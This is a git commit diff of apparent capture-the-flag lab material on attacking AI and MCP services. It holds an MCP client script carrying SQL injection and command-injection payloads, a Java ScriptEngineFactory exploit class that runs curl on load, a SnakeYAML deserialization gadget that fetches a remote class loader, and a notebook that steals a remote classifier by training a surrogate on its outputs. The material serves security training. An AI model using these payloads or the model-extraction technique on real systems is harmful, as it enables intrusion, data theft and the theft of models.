added material
This commit is contained in:
Binary file not shown.
@@ -0,0 +1,102 @@
|
||||
import asyncio
|
||||
from fastmcp import Client, FastMCP
|
||||
|
||||
client = Client("http://154.57.164.78:30484/mcp/")
|
||||
|
||||
async def main():
|
||||
async with client:
|
||||
resources = await client.list_resources()
|
||||
resource_templates = await client.list_resource_templates()
|
||||
tools = await client.list_tools()
|
||||
|
||||
print("Resources:")
|
||||
for resource in resources:
|
||||
print('***')
|
||||
print(resource.name)
|
||||
print(resource.description.strip())
|
||||
|
||||
|
||||
print("-"*50)
|
||||
print("Resource Templates:")
|
||||
for resource_template in resource_templates:
|
||||
print('***')
|
||||
print(resource_template.uriTemplate)
|
||||
print(resource_template.description.strip())
|
||||
|
||||
|
||||
print("-"*50)
|
||||
print("Tools:")
|
||||
for tool in tools:
|
||||
print('***')
|
||||
params = list(tool.inputSchema.get('properties').keys())
|
||||
print(f"{tool.name}({','.join(params)})")
|
||||
print(tool.description.strip())
|
||||
|
||||
# VULNERABLE MCP SERVER
|
||||
|
||||
# Information Leakage (other requests first to populate)
|
||||
# try:
|
||||
# result_object = await client.read_resource("resource://logs")
|
||||
# print(result_object[0].text)
|
||||
# except Exception as e:
|
||||
# print(f"[-] {e}")
|
||||
|
||||
|
||||
# RCE
|
||||
# try:
|
||||
# result_object = await client.call_tool("execute_server_command", {"command": "date;cat flag.txt"})
|
||||
# print(result_object)
|
||||
# except Exception as e:
|
||||
# print(f"[-] {e}")
|
||||
|
||||
|
||||
# SQLi
|
||||
## UNION SELECT group_concat(name || ':' || type) FROM pragma_table_info('flag'), url encoded
|
||||
# try:
|
||||
# ## UNION SELECT flag FROM flag
|
||||
# result_object = await client.read_resource("price://x'%20UNION%20SELECT%20flag%20FROM%20flag--")
|
||||
# print(result_object[0].text)
|
||||
# except Exception as e:
|
||||
# print(f"[-] {e}")
|
||||
|
||||
# SKILLS ASSESSMENT
|
||||
try:
|
||||
result_object = await client.read_resource("resource://platforms")
|
||||
print(result_object[0].text)
|
||||
except Exception as e:
|
||||
print(f"[-] {e}")
|
||||
try:
|
||||
result_object = await client.read_resource("password://rootlocker.htb")
|
||||
print(result_object[0].text)
|
||||
except Exception as e:
|
||||
print(f"[-] {e}")
|
||||
|
||||
try:
|
||||
result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "rootlocker.htb'"})
|
||||
print(result_object.content[0].text)
|
||||
except Exception as e:
|
||||
print(f"[-] {e}")
|
||||
|
||||
try:
|
||||
result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT @@version-- -"})
|
||||
print(result_object.content[0].text)
|
||||
except Exception as e:
|
||||
print(f"[-] {e}")
|
||||
|
||||
try:
|
||||
result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns where table_name = \"flag\"-- -"})
|
||||
print(result_object.content[0].text)
|
||||
except Exception as e:
|
||||
print(f"[-] {e}")
|
||||
|
||||
try:
|
||||
result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT flag FROM flag-- -"})
|
||||
print(result_object.content[0].text)
|
||||
except Exception as e:
|
||||
print(f"[-] {e}")
|
||||
|
||||
|
||||
|
||||
|
||||
asyncio.run(main())
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
from fastmcp import FastMCP
|
||||
from glob import glob
|
||||
|
||||
mcp = FastMCP("MCP")
|
||||
|
||||
# Prompt
|
||||
@mcp.prompt()
|
||||
def spell_check(text: str) -> str:
|
||||
"""Generates a user message asking for a spell check of an input text."""
|
||||
return f"Please check the following text for typos and grammatical errors:\n\n{text}"
|
||||
|
||||
# Resource
|
||||
@mcp.resource("resource://filecount")
|
||||
def count_files() -> int:
|
||||
"""Provides the number of stored files."""
|
||||
return len(glob("/tmp/*.mcpfile"))
|
||||
|
||||
# Resource Template
|
||||
@mcp.resource("getfile://{file_name}")
|
||||
def get_file(file_name: str) -> str:
|
||||
"""Get content of a stored file."""
|
||||
with open(f"/tmp/{file_name}.mcpfile", "r") as f:
|
||||
return f.read()
|
||||
|
||||
# Tool
|
||||
@mcp.tool()
|
||||
def store_file(file_content: str, file_name: str) -> str:
|
||||
"""Store a file."""
|
||||
with open(f"/tmp/{file_name}.mcpfile", "w+") as f:
|
||||
f.write(file_content)
|
||||
return file_content
|
||||
|
||||
mcp.run(transport="streamable-http", host="127.0.0.1", port=8000)
|
||||
@@ -0,0 +1,186 @@
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 1,
|
||||
"id": "8d4f4ce4-7136-40b4-bb26-2282a70c01ed",
|
||||
"metadata": {},
|
||||
"outputs": [],
|
||||
"source": [
|
||||
"N_SAMPLES = 100\n",
|
||||
"\n",
|
||||
"MIN_FLIPPER_LENGTH = 150\n",
|
||||
"MAX_FLIPPER_LENGTH = 250\n",
|
||||
"\n",
|
||||
"MIN_BODY_MASS = 2500\n",
|
||||
"MAX_BODY_MASS = 6500\n",
|
||||
"\n",
|
||||
"CLASSIFIER_URL = \"http://154.57.164.64:31234/\"\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 2,
|
||||
"id": "aae0ccdc-0d16-4ac4-9e4e-349ca917e0d4",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
" Flipper Length (mm) Body Mass (g)\n",
|
||||
"0 225.360814 4507.338188\n",
|
||||
"1 155.862659 5086.012537\n",
|
||||
"2 202.298517 5345.538155\n",
|
||||
"3 151.772929 5325.544831\n",
|
||||
"4 157.298876 5988.681592\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"import random\n",
|
||||
"import pandas as pd\n",
|
||||
"\n",
|
||||
"samples = {\n",
|
||||
" \"Flipper Length (mm)\": [],\n",
|
||||
" \"Body Mass (g)\": []\n",
|
||||
"}\n",
|
||||
"\n",
|
||||
"for i in range(N_SAMPLES):\n",
|
||||
" samples[\"Flipper Length (mm)\"].append(random.uniform(MIN_FLIPPER_LENGTH, MAX_FLIPPER_LENGTH))\n",
|
||||
" samples[\"Body Mass (g)\"].append(random.uniform(MIN_BODY_MASS, MAX_BODY_MASS))\n",
|
||||
"\n",
|
||||
"samples_df = pd.DataFrame(samples)\n",
|
||||
"print(samples_df.head())\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 3,
|
||||
"id": "b06a1bf2-f465-4bfc-af92-5ef3a85efab0",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
" species\n",
|
||||
"0 Gentoo\n",
|
||||
"1 Adelie\n",
|
||||
"2 Gentoo\n",
|
||||
"3 Adelie\n",
|
||||
"4 Adelie\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"import requests\n",
|
||||
"import json\n",
|
||||
"\n",
|
||||
"predictions = {\"species\": []}\n",
|
||||
"\n",
|
||||
"for i in range(N_SAMPLES):\n",
|
||||
" sample = {\n",
|
||||
" \"flipper_length\": samples[\"Flipper Length (mm)\"][i],\n",
|
||||
" \"body_mass\": samples[\"Body Mass (g)\"][i]\n",
|
||||
" }\n",
|
||||
"\n",
|
||||
" prediction = json.loads(requests.get(CLASSIFIER_URL, params=sample).text).get(\"result\")\n",
|
||||
" predictions[\"species\"].append(prediction)\n",
|
||||
"\n",
|
||||
"predictions_df = pd.DataFrame(predictions)\n",
|
||||
"print(predictions_df.head())\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 4,
|
||||
"id": "19f9f2b1-dc61-4986-ae74-158a19bd8870",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stderr",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"/home/jeremy/.conda/envs/ai/lib/python3.11/site-packages/sklearn/utils/validation.py:1352: DataConversionWarning: A column-vector y was passed when a 1d array was expected. Please change the shape of y to (n_samples, ), for example using ravel().\n",
|
||||
" y = column_or_1d(y, warn=True)\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"data": {
|
||||
"text/plain": [
|
||||
"['surrogate.joblib']"
|
||||
]
|
||||
},
|
||||
"execution_count": 4,
|
||||
"metadata": {},
|
||||
"output_type": "execute_result"
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"from sklearn.pipeline import make_pipeline\n",
|
||||
"from sklearn.preprocessing import StandardScaler\n",
|
||||
"from sklearn.linear_model import LogisticRegression\n",
|
||||
"import joblib\n",
|
||||
"\n",
|
||||
"surrogate_model = make_pipeline(StandardScaler(), LogisticRegression())\n",
|
||||
"surrogate_model.fit(samples_df, predictions_df)\n",
|
||||
"\n",
|
||||
"# save classifier to a file\n",
|
||||
"joblib.dump(surrogate_model, 'surrogate.joblib')\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 5,
|
||||
"id": "ddd1763f-dc46-4d40-b7bb-c9e866fdb632",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"{'accuracy': 0.9817518248175182, 'flag': 'HTB{ff08c0bb37e16f30a0804053a4de70ed}'}\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"with open('surrogate.joblib', 'rb') as f:\n",
|
||||
" file = f.read()\n",
|
||||
"\n",
|
||||
"r = requests.post(CLASSIFIER_URL + '/model', files={'file': ('surrogate.joblib', file)})\n",
|
||||
"\n",
|
||||
"print(json.loads(r.text))\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": null,
|
||||
"id": "7093628b-db4e-4f8f-a56e-69882f564303",
|
||||
"metadata": {},
|
||||
"outputs": [],
|
||||
"source": []
|
||||
}
|
||||
],
|
||||
"metadata": {
|
||||
"kernelspec": {
|
||||
"display_name": "Python 3 (ipykernel)",
|
||||
"language": "python",
|
||||
"name": "python3"
|
||||
},
|
||||
"language_info": {
|
||||
"codemirror_mode": {
|
||||
"name": "ipython",
|
||||
"version": 3
|
||||
},
|
||||
"file_extension": ".py",
|
||||
"mimetype": "text/x-python",
|
||||
"name": "python",
|
||||
"nbconvert_exporter": "python",
|
||||
"pygments_lexer": "ipython3",
|
||||
"version": "3.11.6"
|
||||
}
|
||||
},
|
||||
"nbformat": 4,
|
||||
"nbformat_minor": 5
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,108 @@
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": null,
|
||||
"id": "08bf7c87-7357-4c1c-a185-190c2df112e6",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdin",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"> hello im jeremy\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Number of Input Characters: 15\n",
|
||||
"Number of Tokens: 5\n",
|
||||
"[\n",
|
||||
" \"hello\",\n",
|
||||
" \"\\u0120im\",\n",
|
||||
" \"\\u0120j\",\n",
|
||||
" \"ere\",\n",
|
||||
" \"my\"\n",
|
||||
"]\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "stderr",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"/home/jeremy/.conda/envs/ai/lib/python3.11/site-packages/huggingface_hub/file_download.py:943: FutureWarning: `resume_download` is deprecated and will be removed in version 1.0.0. Downloads always resume when possible. If you want to force a new download, use `force_download=True`.\n",
|
||||
" warnings.warn(\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "stdin",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"> safhawepoiefj\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Number of Input Characters: 13\n",
|
||||
"Number of Tokens: 6\n",
|
||||
"[\n",
|
||||
" \"saf\",\n",
|
||||
" \"haw\",\n",
|
||||
" \"ep\",\n",
|
||||
" \"o\",\n",
|
||||
" \"ief\",\n",
|
||||
" \"j\"\n",
|
||||
"]\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"from transformers import AutoTokenizer\n",
|
||||
"import json\n",
|
||||
"\n",
|
||||
"model = 'openai-community/gpt2'\n",
|
||||
"\n",
|
||||
"while 1:\n",
|
||||
"\ttext = input(\"> \")\n",
|
||||
"\n",
|
||||
"\ttokens = AutoTokenizer.from_pretrained(model).tokenize(text)\n",
|
||||
"\tprint(f\"Number of Input Characters: {len(text)}\")\n",
|
||||
"\tprint(f\"Number of Tokens: {len(tokens)}\")\n",
|
||||
"\tprint(json.dumps(tokens, indent=2))"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": null,
|
||||
"id": "9de80fcb-3145-4e9d-8265-ce885b2ed5d4",
|
||||
"metadata": {},
|
||||
"outputs": [],
|
||||
"source": []
|
||||
}
|
||||
],
|
||||
"metadata": {
|
||||
"kernelspec": {
|
||||
"display_name": "Python 3 (ipykernel)",
|
||||
"language": "python",
|
||||
"name": "python3"
|
||||
},
|
||||
"language_info": {
|
||||
"codemirror_mode": {
|
||||
"name": "ipython",
|
||||
"version": 3
|
||||
},
|
||||
"file_extension": ".py",
|
||||
"mimetype": "text/x-python",
|
||||
"name": "python",
|
||||
"nbconvert_exporter": "python",
|
||||
"pygments_lexer": "ipython3",
|
||||
"version": "3.11.6"
|
||||
}
|
||||
},
|
||||
"nbformat": 4,
|
||||
"nbformat_minor": 5
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
exploit.MyScriptEngineFactory
|
||||
@@ -0,0 +1,78 @@
|
||||
package exploit;
|
||||
|
||||
import javax.script.ScriptEngine;
|
||||
import javax.script.ScriptEngineFactory;
|
||||
import java.io.IOException;
|
||||
import java.util.List;
|
||||
|
||||
public class MyScriptEngineFactory implements ScriptEngineFactory {
|
||||
|
||||
public MyScriptEngineFactory() {
|
||||
try {
|
||||
Runtime.getRuntime().exec("curl http://127.0.0.1:9001/rce");
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getEngineName() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getEngineVersion() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getExtensions() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getMimeTypes() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getNames() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getLanguageName() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getLanguageVersion() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getParameter(String key) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMethodCallSyntax(String obj, String m, String... args) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getOutputStatement(String toDisplay) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getProgram(String... statements) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public ScriptEngine getScriptEngine() {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1,3 @@
|
||||
def initialize(self, context):
|
||||
self.model = self.load_model()
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8000/"]]]]
|
||||
Reference in New Issue
Block a user